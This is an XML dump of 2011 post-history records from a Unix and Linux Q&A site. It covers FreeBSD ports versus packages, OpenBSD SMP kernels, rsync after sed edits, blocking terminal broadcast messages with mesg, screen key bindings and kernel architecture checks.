  <row Id="30480" PostHistoryTypeId="2" PostId="12443" RevisionGUID="d7034def-1f44-4c76-9988-523db423847a" CreationDate="2011-05-02T05:24:21.173" UserId="7136" Text="I would like to build the newest port of Firefox (version 4.0.1,1). I currently have the package version installed (3.6.13). How well does the packages/port system handle mixing ports and packages? Will the dependencies be handled correctly?&#xD;&#xA;&#xD;&#xA;For example: Firefox 4.0.1 requires nspr-4.8.7 whereas the packaged version is nspr-4.8.6. A whole slew of things (mostly from the gnome2-lite meta-package depend on nspr). If I install the newer version from ports will I completely wreck things?&#xD;&#xA;&#xD;&#xA;I guess this begs a larger question: Can I mix packages and ports? Or do I have to pick one and stay with it? If I do decide to build a mixed system, will it be stable? Will there be appropriate dependency checking and resolution?&#xD;&#xA;" />
  <row Id="30481" PostHistoryTypeId="1" PostId="12443" RevisionGUID="d7034def-1f44-4c76-9988-523db423847a" CreationDate="2011-05-02T05:24:21.173" UserId="7136" Text="FreeBSD: Mixing packages and ports?" />
  <row Id="30482" PostHistoryTypeId="3" PostId="12443" RevisionGUID="d7034def-1f44-4c76-9988-523db423847a" CreationDate="2011-05-02T05:24:21.173" UserId="7136" Text="épackageömanagementàéfreebsdàéportsà" />
  <row Id="30483" PostHistoryTypeId="2" PostId="12444" RevisionGUID="a53122bb-82f4-4baa-a274-0322ecf54c89" CreationDate="2011-05-02T05:25:50.930" UserId="3169" Text="SMP has been supported since OpenBSD 3.6.&#xD;&#xA;&#xD;&#xA;http://www.openbsd.org/i386.html&#xD;&#xA;&#xD;&#xA;&gt; Starting with OpenBSD 3.6, OpenBSD/i386 supports most SMP (Symmetrical MultiProcessor) systems. To support SMP operation, a separate SMP kernel (bsd.mp) is included with the installation file sets.&#xD;&#xA;&#xD;&#xA;The easiest way to get SMP support is to install the `bsd.mp` kernel.  That should happen by default if your system has multiple cores." />
  <row Id="30484" PostHistoryTypeId="5" PostId="12442" RevisionGUID="8505f29d-505e-4bd4-9390-f62f7a79676a" CreationDate="2011-05-02T05:30:34.903" UserId="3169" Comment="fix poor formatting, linkify, remove &quot;thank you&quot; to conform to normal style on stackexchange sites" Text="The [OpenBSD 4.9 release announcement](http://distrowatch.com/?newsid=06655) says&#xD;&#xA;&#xD;&#xA;&gt; &quot;SMP kernels can now boot on machines with up to 64 cores;&quot;&lt;br&gt;&#xD;&#xA;&#xD;&#xA;So OpenBSD does support several CPU's/cores?&#xD;&#xA;&#xD;&#xA;If i have a Core2Duo cpu in my laptop (t7100) then would it bring greater performance if I use &quot;SMP&quot; kernel?&#xD;&#xA;&#xD;&#xA;If this is true, then how can I install/use an SMP kernel under OpenBSD 4.9?" />
  <row Id="30485" PostHistoryTypeId="6" PostId="12442" RevisionGUID="8505f29d-505e-4bd4-9390-f62f7a79676a" CreationDate="2011-05-02T05:30:34.903" UserId="3169" Comment="fix poor formatting, linkify, remove &quot;thank you&quot; to conform to normal style on stackexchange sites" Text="éopenbsdàésmpà" />
  <row Id="30486" PostHistoryTypeId="5" PostId="12444" RevisionGUID="08f4c776-5f1d-400e-a106-cf0c71ee18b9" CreationDate="2011-05-02T05:31:51.550" UserId="3169" Comment="add link to faq4/installation guide; added 10 characters in body; added 390 characters in body" Text="SMP has been supported since OpenBSD 3.6.&#xD;&#xA;&#xD;&#xA;[OpenBSD/i386](http://www.openbsd.org/i386.html)&#xD;&#xA;&#xD;&#xA;&gt; Starting with OpenBSD 3.6, OpenBSD/i386 supports most SMP (Symmetrical MultiProcessor) systems. To support SMP operation, a separate SMP kernel (bsd.mp) is included with the installation file sets.&#xD;&#xA;&#xD;&#xA;The easiest way to get SMP support is to install the `bsd.mp` kernel.  That should happen by default if your system has multiple cores.&#xD;&#xA;&#xD;&#xA;[What OpenBSD systems support SMP?](http://www.openbsd.org/faq/faq8.html#SMP)&#xD;&#xA;&#xD;&#xA;&gt; A separate SMP kernel, &quot;bsd.mp&quot;, is provided with the install file sets. If multiple processors are detected at install time, is automatically installed as the default boot kernel, /bsd, and the single processor kernel is renamed /bsd.sp.&#xD;&#xA;&#xD;&#xA;See also:&#xD;&#xA;&#xD;&#xA; * [selecting the bsd.mp fileset](http://www.openbsd.org/faq/faq4.html#InstMedia)." />
  <row Id="30487" PostHistoryTypeId="2" PostId="12445" RevisionGUID="dc79f241-bc48-4769-a8f8-e72e00d655e6" CreationDate="2011-05-02T05:38:31.423" UserId="5840" Text="I would like to rsync some HTML files to a webserver that are in production form.  To get them in production form I have to trivially insert a &quot;.production&quot; string in a script tag.  I can do this with this sed command:&#xD;&#xA;&#xD;&#xA;    sed 's/steal\.js/steal\.production\.js/g' */*.html&#xD;&#xA;&#xD;&#xA;I know I can sed `-i` inplace and rysync those files then sed `-i` them back when I'm done, but I'd like to be able to do something like rsync standard out to a destination file on the remote machine.  This way I wouldn't ever need to worry about corrupting my html files by canceling the script in mid transfer.&#xD;&#xA;&#xD;&#xA;Any recommendations on how to approach this?" />
  <row Id="30488" PostHistoryTypeId="1" PostId="12445" RevisionGUID="dc79f241-bc48-4769-a8f8-e72e00d655e6" CreationDate="2011-05-02T05:38:31.423" UserId="5840" Text="Want to rsync some files after they've been sedded" />
  <row Id="30489" PostHistoryTypeId="3" PostId="12445" RevisionGUID="dc79f241-bc48-4769-a8f8-e72e00d655e6" CreationDate="2011-05-02T05:38:31.423" UserId="5840" Text="ésedàérsyncà" />
  <row Id="30490" PostHistoryTypeId="5" PostId="12444" RevisionGUID="f1e4a594-0130-4f8a-859d-21ee1f5528db" CreationDate="2011-05-02T05:44:04.353" UserId="3169" Comment="added 335 characters in body" Text="SMP has been supported since OpenBSD 3.6, released in 2004.&#xD;&#xA;&#xD;&#xA;Presumably the old limit was 4 cores or 16 cores.&#xD;&#xA;&#xD;&#xA;The easiest way to get SMP support is to install the `bsd.mp` kernel.  That should happen by default if your system has multiple cores.&#xD;&#xA;&#xD;&#xA;[OpenBSD SMP project](http://openbsd.org/smp.html)&#xD;&#xA;&#xD;&#xA;&gt; As of June, 2004, SMP (Symmetric MultiProcessor) support has been merged into the main OpenBSD development branch. At this time, the i386, amd64, mvme88k, sparc64, macppc and hppa platforms support SMP.&#xD;&#xA;&#xD;&#xA;[OpenBSD/i386](http://www.openbsd.org/i386.html)&#xD;&#xA;&#xD;&#xA;&gt; Starting with OpenBSD 3.6, OpenBSD/i386 supports most SMP (Symmetrical MultiProcessor) systems. To support SMP operation, a separate SMP kernel (bsd.mp) is included with the installation file sets.&#xD;&#xA;&#xD;&#xA;[What OpenBSD systems support SMP?](http://www.openbsd.org/faq/faq8.html#SMP)&#xD;&#xA;&#xD;&#xA;&gt; A separate SMP kernel, &quot;bsd.mp&quot;, is provided with the install file sets. If multiple processors are detected at install time, is automatically installed as the default boot kernel, /bsd, and the single processor kernel is renamed /bsd.sp.&#xD;&#xA;&#xD;&#xA;See also:&#xD;&#xA;&#xD;&#xA; * [selecting the bsd.mp fileset](http://www.openbsd.org/faq/faq4.html#InstMedia).&#xD;&#xA;" />
  <row Id="30491" PostHistoryTypeId="2" PostId="12446" RevisionGUID="d2f4dea9-820e-4338-89a3-813770b9025e" CreationDate="2011-05-02T05:49:54.497" UserId="5453" Text="I would call in to question the experimenters methods here.&#xD;&#xA;&#xD;&#xA;&gt; Next we analyzed the uptime and&#xD;&#xA;&gt; response speed per each Operating&#xD;&#xA;&gt; System. We are monitoring every 30min&#xD;&#xA;&gt; simultaneously from 3 locations in the&#xD;&#xA;&gt; USA, Germany, and Austria, so we are&#xD;&#xA;&gt; performing 1,008 checks per week per&#xD;&#xA;&gt; each website. That means for example&#xD;&#xA;&gt; that we made for detected Linux&#xD;&#xA;&gt; servers 7,295*1,008 = 7,353,360 checks&#xD;&#xA;&gt; in week 16. Similarly we did&#xD;&#xA;&gt; 2052*1008= 2,068,416 checks for&#xD;&#xA;&gt; Windows servers in the same week. That&#xD;&#xA;&gt; gives us a solid base for OS to OS&#xD;&#xA;&gt; comparison, assuming that we may&#xD;&#xA;&gt; neglect other differences (e.g. in&#xD;&#xA;&gt; each group there will be similar per&#xD;&#xA;&gt; cent of good ISPs, good application&#xD;&#xA;&gt; designs, etc.). When we calculate&#xD;&#xA;&gt; averages and sort data by uptime we&#xD;&#xA;&gt; got the following pictures (per week):&#xD;&#xA;&#xD;&#xA;It seems like there could be drastic problems here. Perhaps a server rebooted in the 30 minute window. Perhaps another server was seen as being down once even though it took 59 minutes of downtime (not 30 or 60). They did have a fairly high sample size though. In reality, most production websites are up considerably more than 99% of the time. There may have been just a couple &quot;bad apples&quot; in each bunch of operating system.&#xD;&#xA;&#xD;&#xA;In short, I consider those results to be approximately accurate, but unreliable.&#xD;&#xA;&#xD;&#xA;Edit: uptime does not necessarily equate to reliability either. It could be that the admin is also the dev and does not have a dedicated dev machine. As mentioned in the blogpost, the ISP could be flaky. Really, this test was not conducted scientifically at all. These results are novel at best." />
  <row Id="30492" PostHistoryTypeId="5" PostId="12286" RevisionGUID="55e0b34d-a140-4bb9-8bb3-a145d0a894d2" CreationDate="2011-05-02T05:57:37.153" UserId="2343" Comment="added 520 characters in body; added 3 characters in body; deleted 2 characters in body" Text="UPDATE: Here is a bash way to do a single Unicode value ...(by &quot;bash&quot; I mean: not using any another scripting language) .. thanks to Gilles for a suggeston in this [askubuntu Q/A](http://askubuntu.com/questions/20806/why-does-printf-report-an-error-on-all-but-three-ascii-range-unicode-codepoints/20976#20976) .  &#xD;&#xA;According to *[this link](http://www.pixelbeat.org/cmdline.html)*: recode (Obsoletes iconv, dos2unix, unix2dos)&#xD;&#xA;&#xD;&#xA;          echo -n 0x0965 |recode UTF-16BE/x4..UTF-8&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Here is a method to process a **raw** hex dump as input (ie. no escaped-prefixes like; \u0965, and no \x09\x65)..  &#xD;&#xA;`xxd` is a hex-dump utility (packaged with `vim-common`) which can revert a raw hex dump to the characters the dump represents... Unicode Codepoints are UTF-16BigEndian, which is exactly what  a Hex-dump is..  &#xD;&#xA;`xxd` in revert mode accepts a stream of Hex values with line breaks.which are ignored. &#xD;&#xA;&#xD;&#xA;This script creates a UTF-16BE stream, which it then reverts to the original chars.  &#xD;&#xA;The last line contains the two needed commands; `xxd` and `iconv` &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    for line in \&#xD;&#xA;      &quot;Matsuo Basho (1644-1694)&quot; \&#xD;&#xA;      &quot;  pond&quot; \&#xD;&#xA;      &quot;  frog jumps in&quot; \&#xD;&#xA;      &quot;  plop!&quot;&#xD;&#xA;    do &#xD;&#xA;      echo &quot;$line&quot; |iconv -f &quot;$(locale charmap)&quot; -t &quot;UTF-16BE&quot; |xxd -ps -u &#xD;&#xA;    done |&#xD;&#xA;    #    (---this is the **revert** code---) &#xD;&#xA;    tee &gt;(xxd -p -u -r |iconv -f &quot;UTF-16BE&quot;) ;echo&#xD;&#xA;&#xD;&#xA;Here is the output (showing the UTF-16BE hex-dump input, first).   &#xD;&#xA;Note; `xxd` segments its own output with a newline at 60 hex-digits...  The revert option ignores these newlines.. it ignores any/all newlines (as the aren't hex-digits)..   &#xD;&#xA;&#xD;&#xA;    004D0061007400730075006F00200042006100730068006F002000280031&#xD;&#xA;    003600340034002D00310036003900340029000A&#xD;&#xA;    002000200070006F006E0064000A&#xD;&#xA;    0020002000660072006F00670020006A0075006D0070007300200069006E&#xD;&#xA;    000A&#xD;&#xA;    002000200070006C006F00700021000A&#xD;&#xA;    &#xD;&#xA;    Matsuo Basho (1644-1694)&#xD;&#xA;      pond&#xD;&#xA;      frog jumps in&#xD;&#xA;      plop!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30493" PostHistoryTypeId="2" PostId="12447" RevisionGUID="e633efbc-a49f-4b80-b9b6-ad5856bda592" CreationDate="2011-05-02T05:59:19.980" UserId="7137" Text="add gnome-volume-control-applet to the startup applications" />
  <row Id="30494" PostHistoryTypeId="25" PostId="12443" RevisionGUID="68794613-6153-4e4f-9491-a90ce1cda742" CreationDate="2011-05-02T06:11:19.663" Comment="http://twitter.com/#!/StackUnix/status/64934977900527616" />
  <row Id="30495" PostHistoryTypeId="2" PostId="12448" RevisionGUID="563397b0-f52e-436a-b1ac-c6d73dc22ac2" CreationDate="2011-05-02T06:26:04.030" UserId="7138" Text="I am logged in to a university system and a very annoying n00b thinks he or she is some awesome hacker because she or he can broadcast an object dump to everyone using pipes. I bet they think it is funny because it looks like the matrix.&#xD;&#xA;&#xD;&#xA;I was just wondering if there is a quick and easy way to opt out of recieving these messages from this user. Also what would be the command for all users (sometimes I would not want to recieve a message when I am in the depths of a difficult problem)." />
  <row Id="30496" PostHistoryTypeId="1" PostId="12448" RevisionGUID="563397b0-f52e-436a-b1ac-c6d73dc22ac2" CreationDate="2011-05-02T06:26:04.030" UserId="7138" Text="How do I opt out of recieving broadcast messages?" />
  <row Id="30497" PostHistoryTypeId="3" PostId="12448" RevisionGUID="563397b0-f52e-436a-b1ac-c6d73dc22ac2" CreationDate="2011-05-02T06:26:04.030" UserId="7138" Text="ébashàéshellà" />
  <row Id="30498" PostHistoryTypeId="2" PostId="12449" RevisionGUID="7f31fc23-cea1-4651-90e1-a784cd563f5b" CreationDate="2011-05-02T06:33:25.223" UserId="3629" Text="If you've got a little spare disk space (it's cheap these days, right?), you could do a local rsync from your development tree to a second copy of the project -- a &quot;staging&quot; tree -- on your development box.  Then perform whatever production modifications you need on the staging tree, and do the &quot;real&quot; rsync from the staging tree to the production server.&#xD;&#xA;&#xD;&#xA;You can keep the staging tree around for extra deployment speed, or delete it afterwards to free up space; it's up to you.&#xD;&#xA;&#xD;&#xA;Or, you could keep the staging tree on the production server instead.  In this case, you can do just one rsync, make your changes, then do a few quick directory renames so that the staging tree is now the production tree, and the old production tree is now the staging tree.  This way you never have a partially updated site in production." />
  <row Id="30499" PostHistoryTypeId="2" PostId="12450" RevisionGUID="f90b7e1f-f9ef-45dc-8955-b09aaac4d3f0" CreationDate="2011-05-02T06:41:43.903" UserId="6167" Text="The command `mesg n` opts out of all messages.  There is no way to prevent a specific user from sending you `wall` (Write ALL) message outside of removing execute permissions to the `wall` command for that user.  The default permissions on my Ubuntu Linux computer allows for anyone to run `wall` and it will send messages to anyone who hasn't opted out with `mesg n`.  Last note on this issue, just run `mesg` to see the current Opt-in/out status for receiving messages." />
  <row Id="30500" PostHistoryTypeId="2" PostId="12451" RevisionGUID="69877073-da9a-4d69-a0f4-7299aba58199" CreationDate="2011-05-02T07:09:54.270" UserId="3629" Text="The first thing I would do would be to report this clown to the admins.  Unfortunately there's no easy way for you to block him and only him.&#xD;&#xA;&#xD;&#xA;The command to keep other users from writing messages on your terminal is `mesg n`.  The `mesg y` command then allows writing again.&#xD;&#xA;&#xD;&#xA;What this command does is to change the permissions of your terminal device file (e.g. `/dev/tty0` or `/dev/pts/8`, etc.) to allow or disallow other users from writing to it.  Typing `who am i` at the command prompt will often show you the name of your device, with the `/dev/` prefix stripped off.&#xD;&#xA;&#xD;&#xA;The traditional UNIX permission system allows you to set permissions separately for yourself, for a single user group, and for all other users.  If you and everyone you want to talk to happen to be a member of a group that the h4x0r is not in, it's possible you could `chgrp mygroup /dev/myterminal` to set the file's group, then `chmod 620 /dev/myterminal` to set the permissions.  (`620` is shorthand for &quot;user can read/write, group can write, all others have no permissions&quot;.)&#xD;&#xA;&#xD;&#xA;Applying an access control list to your device file might be a way to do what you want, but that's system-dependent and non-standard, I've never done it, and it could cause problems for others if the login system isn't expecting it.&#xD;&#xA;&#xD;&#xA;Finally, for more info (just in case you don't know already), try the `man` command -- `man chmod`, `man chgrp`, etc. " />
  <row Id="30501" PostHistoryTypeId="6" PostId="12448" RevisionGUID="c4af1407-74c6-49ac-b17b-a8899d50f868" CreationDate="2011-05-02T07:26:10.210" UserId="885" Comment="edited tags" Text="éterminalà" />
  <row Id="30502" PostHistoryTypeId="2" PostId="12452" RevisionGUID="cf3a641b-dbe9-4f69-9337-df1e8086641a" CreationDate="2011-05-02T07:35:53.940" UserId="6960" Text="How can I check the LVM mirroring under Linux? E.g.: are there any mirrors on a given machine &amp; some details about them, etc. &lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thanks" />
  <row Id="30503" PostHistoryTypeId="1" PostId="12452" RevisionGUID="cf3a641b-dbe9-4f69-9337-df1e8086641a" CreationDate="2011-05-02T07:35:53.940" UserId="6960" Text="How to check LVM mirroring under Linux?" />
  <row Id="30504" PostHistoryTypeId="3" PostId="12452" RevisionGUID="cf3a641b-dbe9-4f69-9337-df1e8086641a" CreationDate="2011-05-02T07:35:53.940" UserId="6960" Text="élvmà" />
  <row Id="30505" PostHistoryTypeId="2" PostId="12453" RevisionGUID="527cd909-1ce8-4f05-8204-04edfd8ae9fa" CreationDate="2011-05-02T07:46:31.167" UserId="2914" Text="#uname -m gives i686 and #uname -m gives i686 i386 output in Red Hat Enterprise Linux Server release 5.4 (Tikanga) machine. I need to install Oracle Database 10g Release 2 on that machine. So, how can I decide whether kernel architecture is 32bit or 64bit. plz help me" />
  <row Id="30506" PostHistoryTypeId="1" PostId="12453" RevisionGUID="527cd909-1ce8-4f05-8204-04edfd8ae9fa" CreationDate="2011-05-02T07:46:31.167" UserId="2914" Text="how to determine Linux kernel architecture??" />
  <row Id="30507" PostHistoryTypeId="3" PostId="12453" RevisionGUID="527cd909-1ce8-4f05-8204-04edfd8ae9fa" CreationDate="2011-05-02T07:46:31.167" UserId="2914" Text="élinuxà" />
  <row Id="30508" PostHistoryTypeId="2" PostId="12454" RevisionGUID="4346a2eb-e81d-480a-8918-4b710611ed70" CreationDate="2011-05-02T07:59:33.930" UserId="7139" Text="i386 and i686 are both 32-bit.  &#xD;&#xA;x86_64 is 64-bit  &#xD;&#xA;&#xD;&#xA;example for 64 bit:  &#xD;&#xA;&#xD;&#xA;    behrooz@behrooz:~$ uname -a  &#xD;&#xA;    Linux behrooz 2.6.32-5-amd64 #1 SMP Mon Mar 7 21:35:22 UTC 2011 **x86_64** GNU/Linux" />
  <row Id="30509" PostHistoryTypeId="5" PostId="12453" RevisionGUID="853d4532-c91a-4928-8bf0-0ee26191aa65" CreationDate="2011-05-02T08:02:55.487" UserId="688" Comment="deleted 10 characters in body; edited title" Text="`uname -m` gives i686 and `uname -m` gives i686 i386 output in Red Hat Enterprise Linux Server release 5.4 (Tikanga) machine. I need to install Oracle Database 10g Release 2 on that machine. So, how can I decide whether kernel architecture is 32bit or 64bit?" />
  <row Id="30510" PostHistoryTypeId="4" PostId="12453" RevisionGUID="853d4532-c91a-4928-8bf0-0ee26191aa65" CreationDate="2011-05-02T08:02:55.487" UserId="688" Comment="deleted 10 characters in body; edited title" Text="How to determine Linux kernel architecture??" />
  <row Id="30511" PostHistoryTypeId="5" PostId="4823" RevisionGUID="0b552349-f02b-4d7c-bd86-3708db519e89" CreationDate="2011-05-02T08:05:12.663" UserId="688" Comment="deleted 20 characters in body; edited title" Text="I have some Python scripts in Linux. How can I make those scripts so that windows user can use and execute them?" />
  <row Id="30512" PostHistoryTypeId="4" PostId="4823" RevisionGUID="0b552349-f02b-4d7c-bd86-3708db519e89" CreationDate="2011-05-02T08:05:12.663" UserId="688" Comment="deleted 20 characters in body; edited title" Text="How to make Python scripts usable on Windows?" />
  <row Id="30513" PostHistoryTypeId="5" PostId="4676" RevisionGUID="8a474dbf-52c1-4d91-822b-e23302c15f44" CreationDate="2011-05-02T08:08:10.507" UserId="688" Comment="deleted 6 characters in body; edited title; edited body" Text="What are interactive and non-interactive shell?&#xD;&#xA;&#xD;&#xA;Questions: Create a user john who should not get an interactive shell.&#xD;&#xA;&#xD;&#xA;How can we do this?&#xD;&#xA;" />
  <row Id="30514" PostHistoryTypeId="4" PostId="4676" RevisionGUID="8a474dbf-52c1-4d91-822b-e23302c15f44" CreationDate="2011-05-02T08:08:10.507" UserId="688" Comment="deleted 6 characters in body; edited title; edited body" Text="Interactive vs non-interactive shell " />
  <row Id="30515" PostHistoryTypeId="2" PostId="12455" RevisionGUID="56ebcb2c-025e-4e4c-b6be-380bec25851f" CreationDate="2011-05-02T08:20:24.167" UserId="7140" Text="Hi guys. &#xD;&#xA;&#xD;&#xA;I'm working with emacs (on the terminal) and I use sreen to switch between terminal. The key - compbination ctrl-A is snapped by screen is there a way to change screen key binding?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="30516" PostHistoryTypeId="1" PostId="12455" RevisionGUID="56ebcb2c-025e-4e4c-b6be-380bec25851f" CreationDate="2011-05-02T08:20:24.167" UserId="7140" Text="Working with screen and emacs" />
  <row Id="30517" PostHistoryTypeId="3" PostId="12455" RevisionGUID="56ebcb2c-025e-4e4c-b6be-380bec25851f" CreationDate="2011-05-02T08:20:24.167" UserId="7140" Text="éscreenàéemacsà" />
  <row Id="30518" PostHistoryTypeId="2" PostId="12456" RevisionGUID="7f4c28a1-5a2e-45ab-91a1-fca743623e90" CreationDate="2011-05-02T08:56:47.050" UserId="885" Text="Sure, you can change the binding in either Screen or Emacs.&#xD;&#xA;&#xD;&#xA;I use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;\&lt;/kbd&gt; in Screen, which is used by very few applications. It's used in the terminal to send the [QUIT](http://en.wikipedia.org/wiki/SIGQUIT) signal — a stronger version of &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;, which fewer applications catch and may produce a core dump. That's rarely useful, and if you need it you can press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;\&lt;/kbd&gt; &lt;kbd&gt;\&lt;/kbd&gt;. A bigger argument against &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;\&lt;/kbd&gt; is that it's hard to type on some keyboard layouts. Anyway, pick the key you prefer.&#xD;&#xA;&#xD;&#xA;To change the Screen escape key, use the `escape` directive in `~/.screenrc`:&#xD;&#xA;&#xD;&#xA;    escape ^\\\&#xD;&#xA;&#xD;&#xA;In Emacs, `C-a` normally moves to the beginning of the line; you can use &lt;kbd&gt;Home&lt;/kbd&gt; instead. `C-x C-a` is not bound. That leaves modes with custom bindings for `C-a` or `C-x C-a` or `C-c C-a`. If you choose `C-\`, it's normally bound to `toggle-input-method`, which is useful if you write in multiple languages and useless otherwise. You can rebind it to a different key with `global-set-key` in your `~/.emacs`:&#xD;&#xA;&#xD;&#xA;    ;; overrides a binding for `suspend-frame', which is also bound on `C-x C-z'&#xD;&#xA;    (global-set-key &quot;\C-z&quot; toggle-input-method)&#xD;&#xA;" />
  <row Id="30519" PostHistoryTypeId="6" PostId="12455" RevisionGUID="fdbe2b66-52b7-42e8-a604-d8019d545e67" CreationDate="2011-05-02T08:56:59.420" UserId="885" Comment="edited tags" Text="éscreenàékeyboardöshortcutsàéemacsà" />
  <row Id="30520" PostHistoryTypeId="2" PostId="12457" RevisionGUID="a09ed6bf-08bd-471c-a847-d192ff4b4ecb" CreationDate="2011-05-02T08:57:05.650" UserId="2421" Text="Create `~/.screenrc` containing:&#xD;&#xA;&#xD;&#xA;    escape ^Zz&#xD;&#xA;&#xD;&#xA;Then use Ctrl-Z instead of Ctrl-A to control screen." />
  <row Id="30521" PostHistoryTypeId="2" PostId="12458" RevisionGUID="03835f75-57b8-4f73-a542-03748af03db1" CreationDate="2011-05-02T09:02:57.860" UserId="3886" Text="You can use ports and packages simultaneously, both use same package database in `/var/db/pkg`.&#xD;&#xA;&#xD;&#xA;Actually, packages are generated by ports system. For example, `make package` will install port and generate binary package for it. Also you can create package from currrently installed port with `pkg_create -b` command." />
  <row Id="30522" PostHistoryTypeId="25" PostId="12455" RevisionGUID="5c103c84-fe16-4f78-b1d8-181b79a2e234" CreationDate="2011-05-02T09:11:19.910" Comment="http://twitter.com/#!/StackUnix/status/64980277050621953" />
  <row Id="30526" PostHistoryTypeId="5" PostId="12455" RevisionGUID="c27db30e-f672-4c4f-8075-eba3bb385846" CreationDate="2011-05-02T10:32:20.987" UserId="1925" Comment="deleted 1 characters in body" Text="I'm working with emacs (on the terminal) and I use screen to switch between terminals. The key combination &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; is grabbed by screen. Is there a way to change screen key binding?" />
  <row Id="30527" PostHistoryTypeId="5" PostId="12452" RevisionGUID="5aa689fd-ffbb-4c82-ae3e-101fd46e2798" CreationDate="2011-05-02T10:35:10.597" UserId="1925" Comment="deleted 19 characters in body" Text="How can I check the LVM mirroring under Linux? E.g.: are there any mirrors on a given machine &amp; some details about them, etc." />
  <row Id="30528" PostHistoryTypeId="2" PostId="12460" RevisionGUID="577145d0-3a19-47f6-8df6-117be4e750ba" CreationDate="2011-05-02T10:46:06.723" UserId="1925" Text="I would suggest that having to access different file names on devel and production boxes is a hack you should consider removing.&#xD;&#xA;&#xD;&#xA; - You could use version control to keep a devel and a production branch of the same project. Keep merging the devel into your production branch but use your little script to keep the code in production state before commiting that branch. Use your server to checkout the production branch, or only rsync that one across.&#xD;&#xA; - You could have a bit of server side code decide which filename to use: `if (hostname = productionserver) ...`&#xD;&#xA; - You could use a server side redirect to serve up different files under the same request url based on hostname or some sort of tag file inside your project." />
  <row Id="30529" PostHistoryTypeId="5" PostId="12418" RevisionGUID="bd853aa5-7eeb-4b84-a4b0-844b2c6d86f7" CreationDate="2011-05-02T11:10:45.667" UserId="1925" Comment="deleted 15 characters in body" Text="I installed `autokey-gtk` application but it won't start. When I run it from terminal it will write a message:&#xD;&#xA;&#xD;&#xA;    Xlib.protocol.request.QueryExtension&#xD;&#xA;&#xD;&#xA;but that's all. The application won't start.&#xD;&#xA;&#xD;&#xA;Do you know what is wrong?" />
  <row Id="30530" PostHistoryTypeId="5" PostId="12417" RevisionGUID="6000b0d3-72c1-4d0e-8316-7e267b531c81" CreationDate="2011-05-02T11:13:00.470" UserId="1925" Comment="deleted 29 characters in body" Text="Is it possible to configure the following automation?&#xD;&#xA;&#xD;&#xA;Everytime I will type a sentence in which the last character is dot, colon or quotation mark it will change the next letter automatically to uppercase, so that I don't have to press the shift key?&#xD;&#xA;&#xD;&#xA;The settings should apply to all desktop environement (XFCE, KDE, Gnome) and terminals. Sometimes you need to write lowercase after dot, so there could be some key that will suppress uppercase.&#xD;&#xA;&#xD;&#xA;I noticed that mobile applications have this possibility." />
  <row Id="30531" PostHistoryTypeId="5" PostId="12414" RevisionGUID="13afd1a2-cbec-42a9-a20c-8a109198f8e0" CreationDate="2011-05-02T11:15:10.077" UserId="1925" Comment="deleted 11 characters in body" Text="Related to my [post about my Arch installation][1], I'm wondering whether the following procedure would work:&#xD;&#xA;&#xD;&#xA;1. Disconnect sda&#xD;&#xA;2. Install Arch normally on sdb as if on a single-drive system&#xD;&#xA;3. Disconnect sdb, reconnect sda&#xD;&#xA;4. Install Win7 on sda as if on a single-drive system&#xD;&#xA;5. Reconnect sdb&#xD;&#xA;6. Tell BIOS to boot sdb&#xD;&#xA;7. In Arch, edit GRUB settings for dual-boot&#xD;&#xA;&#xD;&#xA;I guess this depends on whether step 7 will work, i.e., boot Arch even though there's another hard drive present that wasn't there during installation.&#xD;&#xA;&#xD;&#xA;And a related issue: Does anyone know whether Windows 7 needs to be (a) installed first, whether or not there's another hard drive present, and (b) on the first hard drive, i.e., hd0 (if the Linux drive is going to have the bootloader on it, it might as well be first if possible)? I know that installing two systems on the *same* hard drive requires Windows to be installed first because otherwise it will overwrite the MBR, but what about separate drives?&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/12375/arch-installs-but-grub-does-not-load" />
  <row Id="30532" PostHistoryTypeId="5" PostId="11107" RevisionGUID="4ecf68e5-645a-40df-9766-ddc069710cec" CreationDate="2011-05-02T11:17:20.513" UserId="4518" Comment="more info" Text="Where I'm living now, the internet connection (wired) shows the following weird symptoms. They seem to be independent of whether I use host names or IP addresses.&#xD;&#xA;&#xD;&#xA;* Pinging works&#xD;&#xA;* Skype works&#xD;&#xA;* Wget connects, but never receives a response. (Keeps waiting at &quot;HTTP Request sent, awaiting response&quot; until timeout.)&#xD;&#xA; * Except for a small subset of domains, for which it works. &#xD;&#xA;* ssh commands (`ssh host ls`) works. &#xD;&#xA;* Interactive ssh works for a short while, but hangs quickly, e.g. during the first `ls` -- at the same point every time.&#xD;&#xA;* Under Windows, everything works fine.&#xD;&#xA;&#xD;&#xA;What can I do to diagnose this further? So far, I've just been looking at the application layer. Since there is an apparent internet connection, there must be some way to tunnel Firefox, but I'd like to pin down the problem first.&#xD;&#xA;&#xD;&#xA;It is very likely related to large packets not making their way through. I've found out that there is an MTU, but setting it for eth0 does not solve my problem. I think that I'm behind PPPOE and a router." />
  <row Id="30533" PostHistoryTypeId="2" PostId="12461" RevisionGUID="69e3f386-a7f9-4ef0-9c37-fa33edaa7236" CreationDate="2011-05-02T11:40:55.477" UserId="3082" Text="Ok, thanks.&#xD;&#xA;&#xD;&#xA;That's what slots are for. If the package is not slotted then the only thing I can think of is to create a personal overlay and a new package/ebuild that is slotted." />
